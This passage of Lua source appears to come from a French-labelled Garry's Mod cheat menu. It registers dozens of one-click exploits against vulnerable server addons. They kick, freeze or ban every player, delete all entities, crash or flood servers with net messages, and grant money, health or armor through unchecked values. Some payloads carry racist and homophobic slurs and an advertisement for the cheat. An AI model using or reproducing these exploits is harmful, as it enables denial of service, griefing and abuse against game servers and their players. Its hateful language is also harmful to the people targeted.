6378CHATPRINT("Exploit Trouvé : Supprimer Tous Les Props #2 [drugs_text]")
6379addExploit( "125","Supprimer Tous Les Props #2", "", function()
6380surface.PlaySound("garrysmod/ui_click.wav")
6381NOTIFICATION("Starting")
6382net.Start("drugs_text")
6383net.WriteString("prop_physics")
6384net.SendToServer()
6385end )
6386end
6387
6388status = ValidNetString("drugs_give")
6389if (status) then
6390CHATPRINT("Exploit Trouvé : Give Everyone RPG [drugs_give]")
6391addExploit( "126","Give Everyone RPG", "", function()
6392surface.PlaySound("garrysmod/ui_click.wav")
6393NOTIFICATION("Starting")
6394net.Start("drugs_give")
6395net.WriteString("weapon_rpg")
6396net.SendToServer()
6397end )
6398end
6399
6400status = ValidNetString("drugs_text")
6401if (status) then
6402CHATPRINT("Exploit Trouvé : Remove Water [drugs_text]")
6403addExploit( "127","Remove Water", "", function()
6404surface.PlaySound("garrysmod/ui_click.wav")
6405NOTIFICATION("Starting")
6406net.Start("drugs_text")
6407net.WriteString("func_water_analog")
6408net.SendToServer()
6409end )
6410end
6411
6412status = ValidNetString("drugs_effect")
6413if (status) then
6414local eye = LocalPlayer():GetEyeTrace().Entity
6415local send = "del|"..eye:EntIndex()
6416CHATPRINT("Exploit Trouvé : Remove looking at [drugs_effect]")
6417addExploit( "128","Remove looking at", "", function()
6418surface.PlaySound("garrysmod/ui_click.wav")
6419NOTIFICATION("Starting")
6420net.Start("drugs_effect")
6421net.WriteString(send)
6422net.SendToServer()
6423end )
6424end
6425
6426status = ValidNetString("RecKickAFKer")
6427if (status) then
6428CHATPRINT("Exploit Trouvé : Kick Tous Le Monde #2 [RecKickAFKer]")
6429addExploit( "129","Kick Tous Le Monde #2", "Kick Tous Le Monde", function()
6430surface.PlaySound("garrysmod/ui_click.wav")
6431NOTIFICATION("Starting")
6432for k, v in pairs( player.GetAll() ) do
6433net.Start("RecKickAFKer")
6434net.WriteEntity(v)
6435net.SendToServer()
6436end
6437end )
6438end
6439
6440status = ValidNetString("GMBG:PickupItem")
6441if (status) then
6442CHATPRINT("Exploit Trouvé : Loot Items [GMBG:PickupItem]")
6443addExploit( "130","Loot Items", "", function()
6444surface.PlaySound("garrysmod/ui_click.wav")
6445NOTIFICATION("Starting")
6446for k, v in pairs(ents.GetAll()) do
6447if v:GetClass() == "item_loot" then
6448net.Start("GMBG:PickupItem")
6449net.WriteEntity(v)
6450net.SendToServer()
6451net.Start("GMBG:PickupItem")
6452net.WriteEntity(v)
6453net.SendToServer()
6454net.Start("GMBG:PickupItem")
6455net.WriteEntity(v)
6456net.SendToServer()
6457net.Start("GMBG:PickupItem")
6458net.WriteEntity(v)
6459net.SendToServer()
6460net.Start("GMBG:PickupItem")
6461net.WriteEntity(v)
6462net.SendToServer()
6463net.Start("GMBG:PickupItem")
6464net.WriteEntity(v)
6465net.SendToServer()
6466end
6467end
6468end )
6469end
6470
6471status = ValidNetString("plyWarning")
6472if (status) then
6473CHATPRINT("Exploit Trouvé : Kick Tous Le Monde #3 [plyWarning]")
6474addExploit( "131","Kick Tous Le Monde #3", "Kick Tous Le Monde", function()
6475surface.PlaySound("garrysmod/ui_click.wav")
6476NOTIFICATION("Starting")
6477for k, v in pairs( player.GetAll() ) do
6478net.Start('plyWarning')
6479net.WriteEntity(v)
6480net.WriteString('You have to select a player before doing a action.')
6481net.SendToServer()
6482end
6483end )
6484end
6485
6486status = ValidNetString("NLR.ActionPlayer")
6487if (status) then
6488CHATPRINT("Exploit Trouvé : Freeze Everyone [NLR.ActionPlayer]")
6489addExploit( "132","Freeze Everyone", "", function()
6490surface.PlaySound("garrysmod/ui_click.wav")
6491NOTIFICATION("Starting")
6492for k, v in pairs( player.GetAll() ) do
6493net.Start("NLR.ActionPlayer")
6494net.WriteEntity(v)
6495net.SendToServer()
6496end
6497end )
6498end
6499
6500status = ValidNetString("kart_sell")
6501if (status) then
6502CHATPRINT("Exploit Trouvé : Argent Gratuite #15 [kart_sell]")
6503addExploit( "133","Argent Gratuite #15", "Recevoir De L'Argent", function()
6504surface.PlaySound("garrysmod/ui_click.wav")
6505NOTIFICATION("Starting")
6506for i=1, 300 do
6507net.Start("kart_sell")
6508net.WriteString("sw_gokart")
6509net.SendToServer()
6510end
6511end )
6512end
6513
6514status = ValidNetString("ClickerAddToPoints")
6515if (status) then
6516CHATPRINT("Exploit Trouvé : Free Points [ClickerAddToPoints]")
6517addExploit( "134","Free Points", "", function()
6518surface.PlaySound("garrysmod/ui_click.wav")
6519NOTIFICATION("Starting")
6520net.Start("ClickerAddToPoints")
6521net.WriteInt(99999999, 32)
6522net.SendToServer()
6523end )
6524end
6525
6526status = ValidNetString("bodyman_model_change")
6527if (status) then
6528CHATPRINT("Exploit Trouvé : Body Groups [bodyman_model_change]")
6529addExploit( "135","Body Groups", "constantly changes your appearance", function()
6530surface.PlaySound("garrysmod/ui_click.wav")
6531NOTIFICATION("Starting")
6532local PM = 1
6533local SK = 1
6534local BG = 1
6535local HN = 1
6536local TS = 1
6537local GL = 1
6538local LG = 1
6539if !timer.Exists( "bodygroups" ) then
6540timer.Create("bodygroups", 0, 0, function()
6541PlayerModels = {0,1,2,3,4,5,6}
6542Torso = {0,1,2,3,4,5,6,7,8,9,10}
6543Legs = {0,1,2,3,4,5,6}
6544Hands = {0,1,2}
6545Glasses = {0,1}
6546Skins = {0,1,2,3,4,5,6,7,8,9,10}
6547PM = PM+1
6548TS = TS+1
6549LG = LG+1
6550HN = HN+1
6551GL = GL+1
6552SK = SK+1
6553if (PM>#PlayerModels) then PM=1 end
6554if (SK>#Skins) then SK=1 end
6555if (HN>#Hands) then HN=1 end
6556if (TS>#Torso) then TS=1 end
6557if (GL>#Glasses) then GL=1 end
6558if (LG>#Legs) then LG=1 end
6559net.Start("bodyman_model_change")
6560net.WriteInt(PlayerModels[PM], 10 )
6561net.SendToServer()
6562net.Start("bodygroups_change")
6563net.WriteTable( { 1, Torso[TS] } )
6564net.SendToServer()
6565net.Start("bodygroups_change")
6566net.WriteTable( { 2, Legs[LG] } )
6567net.SendToServer()
6568net.Start("bodygroups_change")
6569net.WriteTable( { 3, Hands[HN] } )
6570net.SendToServer()
6571net.Start("bodygroups_change")
6572net.WriteTable( { 4, Glasses[GL] } )
6573net.SendToServer()
6574end )
6575else
6576timer.Remove("bodygroups")
6577NOTIFICATION("Stopping")
6578end
6579end )
6580end
6581
6582status = ValidNetString("bodyman_model_change_maxrp_57463741")
6583if (status) then
6584CHATPRINT("[88.2] Exploit Trouvé : Body Groups MAXRP [bodyman_model_change_maxrp_57463741]")
6585addExploit( "5505","Body Groups MAXRP", "constantly changes your appearance", function()
6586surface.PlaySound("garrysmod/ui_click.wav")
6587NOTIFICATION("Starting")
6588local PM = 1
6589local SK = 1
6590local BG = 1
6591local HN = 1
6592local TS = 1
6593local GL = 1
6594local LG = 1
6595if !timer.Exists( "bodygroups" ) then
6596timer.Create("bodygroups", 0, 0, function()
6597PlayerModels = {0,1,2,3,4,5,6}
6598Torso = {0,1,2,3,4,5,6,7,8,9,10}
6599Legs = {0,1,2,3,4,5,6}
6600Hands = {0,1,2}
6601Glasses = {0,1}
6602Skins = {0,1,2,3,4,5,6,7,8,9,10}
6603PM = PM+1
6604TS = TS+1
6605LG = LG+1
6606HN = HN+1
6607GL = GL+1
6608SK = SK+1
6609if (PM>#PlayerModels) then PM=1 end
6610if (SK>#Skins) then SK=1 end
6611if (HN>#Hands) then HN=1 end
6612if (TS>#Torso) then TS=1 end
6613if (GL>#Glasses) then GL=1 end
6614if (LG>#Legs) then LG=1 end
6615net.Start("bodygroups_change_maxrp_57457451")
6616net.WriteInt(PlayerModels[PM], 10 )
6617net.SendToServer()
6618net.Start("bodygroups_change_maxrp_57457451")
6619net.WriteTable( { 1, Torso[TS] } )
6620net.SendToServer()
6621net.Start("bodygroups_change_maxrp_57457451")
6622net.WriteTable( { 2, Legs[LG] } )
6623net.SendToServer()
6624net.Start("bodygroups_change_maxrp_57457451")
6625net.WriteTable( { 3, Hands[HN] } )
6626net.SendToServer()
6627net.Start("bodygroups_change_maxrp_57457451")
6628net.WriteTable( { 4, Glasses[GL] } )
6629net.SendToServer()
6630end )
6631else
6632timer.Remove("bodygroups")
6633NOTIFICATION("Stopping")
6634end
6635end )
6636end
6637
6638status = ValidNetString("SendMoney")
6639if (status) then
6640CHATPRINT("Exploit Trouvé : Argent Gratuite #16 [SendMoney]")
6641addExploit( "136","Argent Gratuite #16", "Recevoir De L'Argent", function()
6642surface.PlaySound("garrysmod/ui_click.wav")
6643NOTIFICATION("Starting")
6644hook.Remove( "HUDPaint", "skhdsakjl")
6645net.Start("SendMoney")
6646net.WriteEntity(LocalPlayer())
6647net.WriteEntity(LocalPlayer())
6648net.WriteEntity(LocalPlayer())
6649net.WriteString("-99999999")
6650net.SendToServer()
6651end )
6652end
6653
6654status = ValidNetString("BailOut")
6655if (status) then
6656CHATPRINT("Exploit Trouvé : Argent Gratuite #17 [BailOut]")
6657addExploit( "137","Argent Gratuite #17", "", function()
6658surface.PlaySound("garrysmod/ui_click.wav")
6659NOTIFICATION("Starting")
6660for k, v in pairs(player.GetAll()) do
6661net.Start("BailOut")
6662net.WriteEntity(LocalPlayer())
6663net.WriteEntity(v)
6664net.WriteFloat(-999999999)
6665net.SendToServer()
6666end
6667end )
6668end
6669
6670status = ValidNetString("hitcomplete")
6671if (status) then
6672CHATPRINT("Exploit Trouvé : Argent Gratuite #18 [hitcomplete]")
6673addExploit( "138","Argent Gratuite #18", "Recevoir De L'Argent", function()
6674surface.PlaySound("garrysmod/ui_click.wav")
6675NOTIFICATION("Starting")
6676net.Start("hitcomplete")
6677net.WriteDouble(99999999)
6678net.SendToServer()
6679end )
6680end
6681----------------------------------------
6682for k,v in pairs(player.GetAll()) do
6683dahater = v
6684end
6685----------------------------------------
6686status = ValidNetString("hhh_request")
6687if (status) then
6688CHATPRINT("Exploit Trouvé : Argent Gratuite #19 [hhh_request]")
6689addExploit( "139","Argent Gratuite #19", "Recevoir De L'Argent", function()
6690surface.PlaySound("garrysmod/ui_click.wav")
6691NOTIFICATION("Starting")
6692local plyhhh = LocalPlayer()
6693if dahater != plyhhh then
6694local hitRequest = {}
6695hitRequest.hitman = plyhhh
6696hitRequest.requester = plyhhh
6697hitRequest.target = dahater
6698hitRequest.reward = -9999999
6699net.Start('hhh_request')
6700net.WriteTable(hitRequest)
6701net.SendToServer()
6702else
6703CHATPRINT("In this version of HHH, you can not use an exploit!")
6704end
6705end )
6706end
6707
6708status = ValidNetString("DaHit")
6709if (status) then
6710CHATPRINT("Exploit Trouvé : Argent Gratuite #20 [DaHit]")
6711addExploit( "140","Argent Gratuite #20", "Recevoir De L'Argent", function()
6712surface.PlaySound("garrysmod/ui_click.wav")
6713NOTIFICATION("Starting")
6714hook.Remove( "HUDPaint", "skhdsakjl")
6715net.Start("DaHit")
6716net.WriteFloat(-99999999)
6717net.WriteEntity(LocalPlayer())
6718net.WriteEntity(LocalPlayer())
6719net.WriteEntity(LocalPlayer())
6720net.SendToServer()
6721end )
6722end
6723
6724status = ValidNetString("textstickers_entdata")
6725if (status) then
6726CHATPRINT("Exploit Trouvé : Crash #2 [textstickers_entdata]")
6727addExploit( "141","Crash #2", "1tap", function()
6728surface.PlaySound("garrysmod/ui_click.wav")
6729NOTIFICATION("Starting")
6730net.Start("textstickers_entdata")
6731net.WriteUInt(0xFFFFFFF, 32)
6732net.SendToServer()
6733end )
6734end
6735
6736status = ValidNetString("gBan.BanBuffer")
6737if (status) then
6738CHATPRINT("Exploit Trouvé : gBan Everyone [gBan.BanBuffer]")
6739addExploit( "142","gBan Everyone", "exploit in the old version of gban", function()
6740surface.PlaySound("garrysmod/ui_click.wav")
6741NOTIFICATION("Starting")
6742for k,v in pairs(player.GetAll()) do
6743if v != LocalPlayer() then
6744net.Start("gBan.BanBuffer")
6745net.WriteBool(true)
6746net.WriteInt(0, 32)
6747net.WriteString("haha owned")
6748net.WriteString(v:SteamID())
6749net.SendToServer()
6750end
6751end
6752end )
6753end
6754
6755status = ValidNetString("ARMORY_RetrieveWeapon")
6756if (status) then
6757CHATPRINT("Exploit Trouvé : Armure Gratuitey #1 [ARMORY_RetrieveWeapon]")
6758addExploit( "143","Armure Gratuitey #1", "get weapon #1", function()
6759surface.PlaySound("garrysmod/ui_click.wav")
6760NOTIFICATION("Starting")
6761net.Start("ARMORY_RetrieveWeapon")
6762net.WriteString("weapon1")
6763net.SendToServer()
6764end )
6765end
6766
6767status = ValidNetString("ARMORY_RetrieveWeapon")
6768if (status) then
6769CHATPRINT("Exploit Trouvé : Armure Gratuitey #2 [ARMORY_RetrieveWeapon]")
6770addExploit( "144","Armure Gratuitey #2", "get weapon #2", function()
6771surface.PlaySound("garrysmod/ui_click.wav")
6772NOTIFICATION("Starting")
6773net.Start("ARMORY_RetrieveWeapon")
6774net.WriteString("weapon2")
6775net.SendToServer()
6776end )
6777end
6778
6779status = ValidNetString("ARMORY_RetrieveWeapon")
6780if (status) then
6781CHATPRINT("Exploit Trouvé : Armure Gratuitey #3 [ARMORY_RetrieveWeapon]")
6782addExploit( "145","Armure Gratuitey #3", "get weapon #3", function()
6783surface.PlaySound("garrysmod/ui_click.wav")
6784NOTIFICATION("Starting")
6785net.Start("ARMORY_RetrieveWeapon")
6786net.WriteString("weapon3")
6787net.SendToServer()
6788end )
6789end
6790
6791status = ValidNetString("TransferReport")
6792if (status) then
6793CHATPRINT("Exploit Trouvé : Report Spammer [TransferReport]")
6794addExploit( "146","Report Spammer", "Report Tout Le Monde players", function()
6795surface.PlaySound("garrysmod/ui_click.wav")
6796NOTIFICATION("Starting")
6797net.Start("TransferReport")
6798net.WriteString(v:SteamID())
6799net.WriteString("CHINKGANG FAGOTS")
6800net.WriteString("DITCH THIS SHITTY SERVER AND BUY XvacDoor TODAY")
6801net.SendToServer()
6802end )
6803end
6804
6805status = ValidNetString("FIRE_CreateFireTruck")
6806if (status) then
6807CHATPRINT("Exploit Trouvé : Create Fire Truck [FIRE_CreateFireTruck]")
6808addExploit( "147","Create Fire Truck", "", function()
6809surface.PlaySound("garrysmod/ui_click.wav")
6810NOTIFICATION("Starting")
6811net.Start("FIRE_CreateFireTruck")
6812net.SendToServer()
6813end )
6814end
6815
6816status = ValidNetString("TFA_Attachment_RequestAll")
6817if (status) then
6818CHATPRINT("Exploit Trouvé : Lagger #20 [TFA_Attachment_RequestAll]")
6819addExploit( "148","Lagger #20", "an exploit in 'TFA Weapon Pack', discovered by zerg314", function()
6820surface.PlaySound("garrysmod/ui_click.wav")
6821if !timer.Exists( "lagger20" ) then
6822timer.Create("lagger20", 0,0, function()
6823for i = 1, 800 do
6824net.Start("TFA_Attachment_RequestAll",true)
6825net.SendToServer()
6826end
6827end)
6828NOTIFICATION("Starting Lagger")
6829else
6830timer.Remove("lagger20")
6831NOTIFICATION("Stopping Lagger")
6832end
6833end)
6834end
6835
6836status = ValidNetString("FIRE_RemoveFireTruck")
6837if (status) then
6838CHATPRINT("Exploit Trouvé : Remove Fire Truck [FIRE_RemoveFireTruck]")
6839addExploit( "149","Remove Fire Truck", "", function()
6840surface.PlaySound("garrysmod/ui_click.wav")
6841NOTIFICATION("Starting")
6842net.Start("FIRE_RemoveFireTruck")
6843net.SendToServer()
6844end )
6845end
6846
6847status = ValidNetString("gPrinters.sendID")
6848if (status) then
6849CHATPRINT("Exploit Trouvé : Lagger #21 [gPrinters.sendID]")
6850addExploit( "150","Lagger #21", "B1G LAGZ, discovered by Leith", function()
6851surface.PlaySound("garrysmod/ui_click.wav")
6852NOTIFICATION("Starting")
6853if not timer.Exists("lagger21") then
6854timer.Create("lagger21", 0, 0, function()
6855for i = 1, 1000 do
6856net.Start("gPrinters.sendID",true)
6857net.WriteEntity(LocalPlayer())
6858net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 8)
6859net.SendToServer()
6860end
6861end )
6862end
6863end )
6864end
6865
6866status = ValidNetString("requestmoneyforvk") -- RusElite Server
6867if (status) then
6868CHATPRINT("Exploit Trouvé : Free 50k [requestmoneyforvk]")
6869addExploit( "151","Free 50k", "gives you 50k bypassing the validation check, discovered by Leith", function()
6870surface.PlaySound("garrysmod/ui_click.wav")
6871NOTIFICATION("Starting")
6872net.Start("requestmoneyforvk")
6873net.WriteEntity(LocalPlayer())
6874net.SendToServer()
6875end )
6876end
6877
6878status = ValidNetString("vj_testentity_runtextsd")
6879if (status) then
6880CHATPRINT("Exploit Trouvé : VJSay [NEW] [vj_testentity_runtextsd]")
6881addExploit( "152","VJSay [NEW]", "'fix' of the old exploit", function()
6882surface.PlaySound("garrysmod/ui_click.wav")
6883NOTIFICATION("Starting")
6884for k,v in pairs(player.GetAll()) do
6885net.Start("vj_testentity_runtextsd")
6886net.WriteEntity(v)
6887net.WriteString("OWNED OWNED OWNED OWNED OWNED OWNED OWNED OWNED ")
6888net.WriteString("vj_illuminati/Illuminati Confirmed.mp3")
6889net.SendToServer()
6890end
6891end )
6892end
6893
6894status = ValidNetString("NET_BailPlayer") -- need to test
6895if (status) then
6896CHATPRINT("Exploit Trouvé : Players Spam [NET_BailPlayer]")
6897addExploit( "153","Players Spam", "", function()
6898surface.PlaySound("garrysmod/ui_click.wav")
6899NOTIFICATION("Starting")
6900for k, v in pairs (player.GetAll()) do
6901net.Start("NET_BailPlayer")
6902net.WriteEntity(v)
6903net.WriteEntity(v)
6904net.SendToServer()
6905end
6906end )
6907end
6908
6909status = ValidNetString("Taxi_Add") -- need to test
6910if (status) then
6911CHATPRINT("Exploit Trouvé : Argent Gratuite #21 [Taxi_Add]")
6912addExploit( "154","Argent Gratuite #21", "maybe not work", function()
6913surface.PlaySound("garrysmod/ui_click.wav")
6914NOTIFICATION("Starting")
6915net.Start("Taxi_Add")
6916net.WriteString("MLG")
6917net.WriteTable({-1333.647461, -1473.931763, -139.968750})
6918net.WriteFloat(-99999999)
6919net.WriteString(Desc)
6920net.SendToServer()
6921end )
6922end
6923
6924status = ValidNetString("BuyCar")
6925if (status) then
6926CHATPRINT("Exploit Trouvé : Argent Gratuite #22 [BuyCar]")
6927addExploit( "155","Argent Gratuite #22", "Recevoir De L'Argent", function()
6928surface.PlaySound("garrysmod/ui_click.wav")
6929NOTIFICATION("Starting")
6930net.Start('BuyCar')
6931net.WriteFloat(-1000000)
6932net.WriteEntity(LocalPlayer())
6933net.WriteString("Gay")
6934net.WriteString("Cock")
6935net.WriteString("Twat")
6936net.SendToServer()
6937end )
6938end
6939
6940status = ValidNetString("rpi_trade_end")
6941if (status) then
6942CHATPRINT("Exploit Trouvé : Test Function [rpi_trade_end]")
6943addExploit( "156","Test Function", "just test", function()
6944surface.PlaySound("garrysmod/ui_click.wav")
6945NOTIFICATION("Starting")
6946local it = 0
6947timer.Create( util.CRC( tostring( CurTime() ) ), 0.5, 0, function()
6948if( it > #player.GetAll() ) then
6949it = 1;
6950else
6951it = it + 1;
6952end
6953net.Start("rpi_trade_end")
6954net.WriteUInt( it, 16 )
6955net.SendToServer()
6956end )
6957end )
6958end
6959
6960status = ValidNetString("ClickerForceSave")
6961if (status) then
6962CHATPRINT("Exploit Trouvé : Melon Crash [ClickerForceSave]")
6963addExploit( "157","Melon Crash", "", function()
6964surface.PlaySound("garrysmod/ui_click.wav")
6965NOTIFICATION("Starting")
6966hook.Add("Think","ps_spam",function()
6967for k, v in pairs (player.GetAll()) do
6968net.Start("ClickerForceSave")
6969net.WriteEntity(ply)
6970net.WriteInt(1, 1)
6971net.SendToServer()
6972end
6973end )
6974end )
6975end
6976
6977status = ValidNetString("SRequest")
6978if (status) then
6979CHATPRINT("Exploit Trouvé : Deagle Grab [SRequest]")
6980addExploit( "158","Deagle Grab", "", function()
6981surface.PlaySound("garrysmod/ui_click.wav")
6982NOTIFICATION("Starting")
6983for k, v in pairs (player.GetAll()) do
6984net.Start("SRequest")
6985net.WriteEntity(v)
6986net.SendToServer()
6987end
6988end )
6989end
6990
6991status = ValidNetString("HealButton")
6992if (status) then
6993CHATPRINT("Exploit Trouvé : PV Gratuit [HealButton]")
6994addExploit( "159","PV Gratuit", "PV Gratuit", function()
6995surface.PlaySound("garrysmod/ui_click.wav")
6996NOTIFICATION("Starting")
6997net.Start("HealButton")
6998net.WriteEntity(LocalPlayer())
6999net.WriteFloat(999999)
7000net.SendToServer()
7001end )
7002end
7003
7004status = ValidNetString("ArmorButton")
7005if (status) then
7006CHATPRINT("Exploit Trouvé : Armure Gratuite [ArmorButton]")
7007addExploit( "160","Armure Gratuite", "Armure Gratuite", function()
7008surface.PlaySound("garrysmod/ui_click.wav")
7009NOTIFICATION("Starting")
7010net.Start("ArmorButton")
7011net.WriteEntity(LocalPlayer())
7012net.WriteFloat(999999)
7013net.SendToServer()
7014end )
7015end
7016
7017status = ValidNetString("SprintSpeedset")
7018if (status) then
7019CHATPRINT("Exploit Trouvé : TTT SpeedHack [SprintSpeedset]")
7020addExploit( "161","TTT SpeedHack", "changes your speed", function()
7021surface.PlaySound("garrysmod/ui_click.wav")
7022NOTIFICATION("Starting")
7023net.Start("SprintSpeedset")
7024net.WriteFloat(math.min(math.max(2, 0.1),2 ))
7025net.SendToServer()
7026end )
7027end
7028
7029status = ValidNetString("GiveArmor100")
7030if (status) then
7031CHATPRINT("Exploit Trouvé : Exploit D'Armure [GiveArmor100]")
7032addExploit( "162","Exploit D'Armure ", "", function()
7033surface.PlaySound("garrysmod/ui_click.wav")
7034NOTIFICATION("Starting")
7035net.Start("GiveArmor100")
7036net.SendToServer()
7037end )
7038end
7039
7040status = ValidNetString("GiveSCP294Cup") -- NEED TO TEST !!
7041if (status) then
7042CHATPRINT("Exploit Trouvé : SCP 294 JAM [DOIT ÊTRE TEST] [GiveSCP294Cup]")
7043SCPLAG = 0
7044addExploit( "163","SCP 249 JAM!", "", function()
7045surface.PlaySound("garrysmod/ui_click.wav")
7046NOTIFICATION("Starting")
7047if (SCPLAG == 0) then
7048SCPLAG = 1
7049timer.Create( "LagThatShit", time, 0.05, function()
7050for k, v in pairs( ents.GetAll() ) do
7051if v:GetClass() == "scp294" then
7052net.Start("GiveSCP294Cup")
7053net.WriteString("shit")
7054net.WriteEntity(v)
7055net.SendToServer()
7056end
7057end
7058end)
7059else
7060SCPLAG = 0
7061timer.Remove("LagThatShit")
7062end
7063end)
7064end
7065
7066status = ValidNetString("Client_To_Server_OpenEditor")
7067if (status) then
7068CHATPRINT("Exploit Trouvé : SCP 249 Hack Menu De Boisson [Client_To_Server_OpenEditor]")
7069addExploit( "164","SCP 249 Drink Menu Hack", "", function()
7070surface.PlaySound("garrysmod/ui_click.wav")
7071NOTIFICATION("Starting")
7072net.Start("Client_To_Server_OpenEditor")
7073net.SendToServer()
7074end )
7075end
7076
7077status = ValidNetString("DuelMessageReturn")
7078if (status) then
7079CHATPRINT("Exploit Trouvé : Combat Fou [DuelMessageReturn]")
7080addExploit( "165","Combat Fou", "forces all players to fight with all players, discovered by Solly", function()
7081surface.PlaySound("garrysmod/ui_click.wav")
7082NOTIFICATION("Starting")
7083timer.Create("crazyduel", 0.1, 0, function()
7084s.duel[1] = table.Random( player.GetAll() )
7085s.duel[2] = table.Random( player.GetAll() )
7086net.Start("DuelMessageReturn")
7087net.WriteFloat(1)
7088net.WriteTable(s.duel)
7089net.SendToServer()
7090end )
7091end )
7092end
7093
7094status = ValidNetString("userAcceptPrestige")
7095if (status) then
7096CHATPRINT("Exploit Trouvé : Prestige Gratuit [userAcceptPrestige]")
7097addExploit( "166","Prestige Gratuit", "exploit for Prestige Gratuit", function()
7098surface.PlaySound("garrysmod/ui_click.wav")
7099NOTIFICATION("Starting")
7100net.Start("userAcceptPrestige")
7101net.SendToServer()
7102end )
7103end
7104
7105status = ValidNetString("wordenns")
7106if (status) then
7107CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #11 [wordenns]")
7108addExploit( "167","Voler L'argents De Tous #11", "withdraw money from all printers", function()
7109surface.PlaySound("garrysmod/ui_click.wav")
7110NOTIFICATION("Starting")
7111CHATPRINT("printers:".. tostring(#ents.FindByClass("derma_printer")))
7112for k,v in pairs(ents.FindByClass("derma_printer")) do
7113net.Start("wordenns")
7114net.WriteEntity(v)
7115net.SendToServer()
7116end
7117end)
7118end
7119
7120status = ValidNetString("guncraft_removeWorkbench")
7121if (status) then
7122CHATPRINT("Exploit Trouvé : Supprimer Toutes Les Entités [guncraft_removeWorkbench]")
7123addExploit( "168","Supprimer Toutes Les Entités", "an exploit in addon 'GunCraft'", function()
7124surface.PlaySound("garrysmod/ui_click.wav")
7125NOTIFICATION("Starting")
7126if !timer.Exists( "removentity" ) then
7127timer.Create("removentity", 3, 0, function()
7128for k,v in pairs(ents.GetAll()) do
7129net.Start("guncraft_removeWorkbench")
7130net.WriteEntity(v)
7131net.SendToServer()
7132end
7133end )
7134end
7135end )
7136end
7137
7138status = ValidNetString("BuyKey")
7139if (status) then
7140CHATPRINT("Exploit Trouvé : Blue Unbox Exploit [NEED TO TEST]")
7141addExploit( "169","Blue Unbox Exploit", "", function()
7142surface.PlaySound("garrysmod/ui_click.wav")
7143NOTIFICATION("Starting")
7144net.Start("BuyKey")
7145net.SendToServer()
7146net.Start("BuyCrate")
7147net.SendToServer()
7148end )
7149end
7150
7151status = ValidNetString("casinokit_chipexchange")
7152if (status) then
7153CHATPRINT("Exploit Trouvé : Argent Gratuite #23 [casinokit_chipexchange]")
7154addExploit( "170","Argent Gratuite #23", "only works if outdated", function()
7155surface.PlaySound("garrysmod/ui_click.wav")
7156NOTIFICATION("Starting")
7157local moneylog = LocalPlayer():getDarkRPVar("money")
7158net.Start("casinokit_chipexchange")
7159net.WriteEntity(self)
7160net.WriteString("darkrp")
7161net.WriteBool(true)
7162net.WriteUInt(LocalPlayer():getDarkRPVar("money"),32)
7163net.SendToServer()
7164timer.Simple(3, function()
7165for i=1, 5000 do
7166net.Start("casinokit_chipexchange")
7167net.WriteEntity(self)
7168net.WriteString("darkrp")
7169net.WriteBool(false)
7170net.WriteUInt(moneylog*0.10,32)
7171net.SendToServer()
7172end
7173end)
7174end )
7175end
7176
7177status = ValidNetString("PurchaseWeed")
7178if (status) then
7179CHATPRINT("Exploit Trouvé : Achetez Drogue [PurchaseWeed]")
7180addExploit( "171","Achetez Drogue", "", function()
7181surface.PlaySound("garrysmod/ui_click.wav")
7182NOTIFICATION("Starting")
7183net.Start("PurchaseWeed")
7184net.WriteInt(tonumber(10000),16)
7185net.WriteInt(tonumber(1),16)
7186net.WriteBool(LocalPlayer().Buying)
7187net.SendToServer()
7188end )
7189end
7190
7191status = ValidNetString("PurchaseWeed")
7192if (status) then
7193CHATPRINT("Exploit Trouvé : Sell Weed [PurchaseWeed]")
7194addExploit( "172","Sell Weed", "", function()
7195surface.PlaySound("garrysmod/ui_click.wav")
7196NOTIFICATION("Starting")
7197net.Start("PurchaseWeed")
7198net.WriteInt(tonumber(100),16)
7199net.WriteInt(tonumber(100),16)
7200net.WriteBool(LocalPlayer().Selling)
7201net.SendToServer()
7202end )
7203end
7204
7205status = ValidNetString("DoDealerDeliver")
7206if (status) then
7207CHATPRINT("Exploit Trouvé : Buy Tab [DoDealerDeliver]")
7208addExploit( "173","Buy Tab", "", function()
7209surface.PlaySound("garrysmod/ui_click.wav")
7210NOTIFICATION("Starting")
7211if(LocalPlayer():getDarkRPVar("money")>=WEED_CONFIG.TabletPrice) then
7212net.Start("DoDealerDeliver")
7213net.WriteBool(false)
7214net.SendToServer()
7215end
7216end )
7217end
7218
7219status = ValidNetString("DoDealerDeliver")
7220if (status) then
7221CHATPRINT("Exploit Trouvé : Buy Bong [DoDealerDeliver]")
7222addExploit( "174","Buy Bong", "", function()
7223surface.PlaySound("garrysmod/ui_click.wav")
7224NOTIFICATION("Starting")
7225if(LocalPlayer():getDarkRPVar("money")>=WEED_ITEMS.Items["Tools"]["bong"].price) then
7226net.Start("DoDealerDeliver")
7227net.WriteBool(true)
7228net.SendToServer()
7229end
7230end )
7231end
7232
7233status = ValidNetString("sendDuelInfo")
7234if (status) then
7235CHATPRINT("Exploit Trouvé : Duel NPC Exploit [sendDuelInfo]")
7236addExploit( "175","Duel NPC Exploit", "", function()
7237surface.PlaySound("garrysmod/ui_click.wav")
7238NOTIFICATION("Starting")
7239net.Start("sendDuelInfo")
7240net.WriteString(table.Random(player.GetAll()):Nick())
7241net.WriteString("xxdddd")
7242net.WriteString("1e+100")
7243net.WriteEntity(table.random(player.GetAll()):UserID())
7244net.WriteInt(3,3)
7245net.SendToServer()
7246end )
7247end
7248
7249status = ValidNetString("InviteMember")
7250if (status) then
7251CHATPRINT("Exploit Trouvé : Invite all players [InviteMember]")
7252addExploit( "176","Invite all players", "Invite all players to your org", function()
7253surface.PlaySound("garrysmod/ui_click.wav")
7254NOTIFICATION("Starting")
7255for k,v in pairs(player.GetAll()) do
7256net.Start("InviteMember")
7257net.WriteEntity(v)
7258net.WriteEntity(v)
7259net.WriteString("lol what")
7260net.SendToServer()
7261end
7262end )
7263end
7264
7265status = ValidNetString("newTerritory")
7266if (status) then
7267CHATPRINT("Exploit Trouvé : New Territory [newTerritory]")
7268addExploit( "177","New Territory", "", function()
7269surface.PlaySound("garrysmod/ui_click.wav")
7270NOTIFICATION("Starting")
7271for k,v in pairs(player.GetAll()) do
7272net.Start("newTerritory")
7273net.WriteString("Hackers")
7274net.WriteTable(t)
7275net.SendToServer()
7276end
7277end )
7278end
7279
7280status = ValidNetString("CreateOrganization")
7281if (status) then
7282CHATPRINT("Exploit Trouvé : Org Exploit [CreateOrganization]")
7283addExploit( "178","Org Exploit", "", function()
7284surface.PlaySound("garrysmod/ui_click.wav")
7285NOTIFICATION("Starting")
7286for k,v in pairs(player.GetAll()) do
7287net.Start("CreateOrganization")
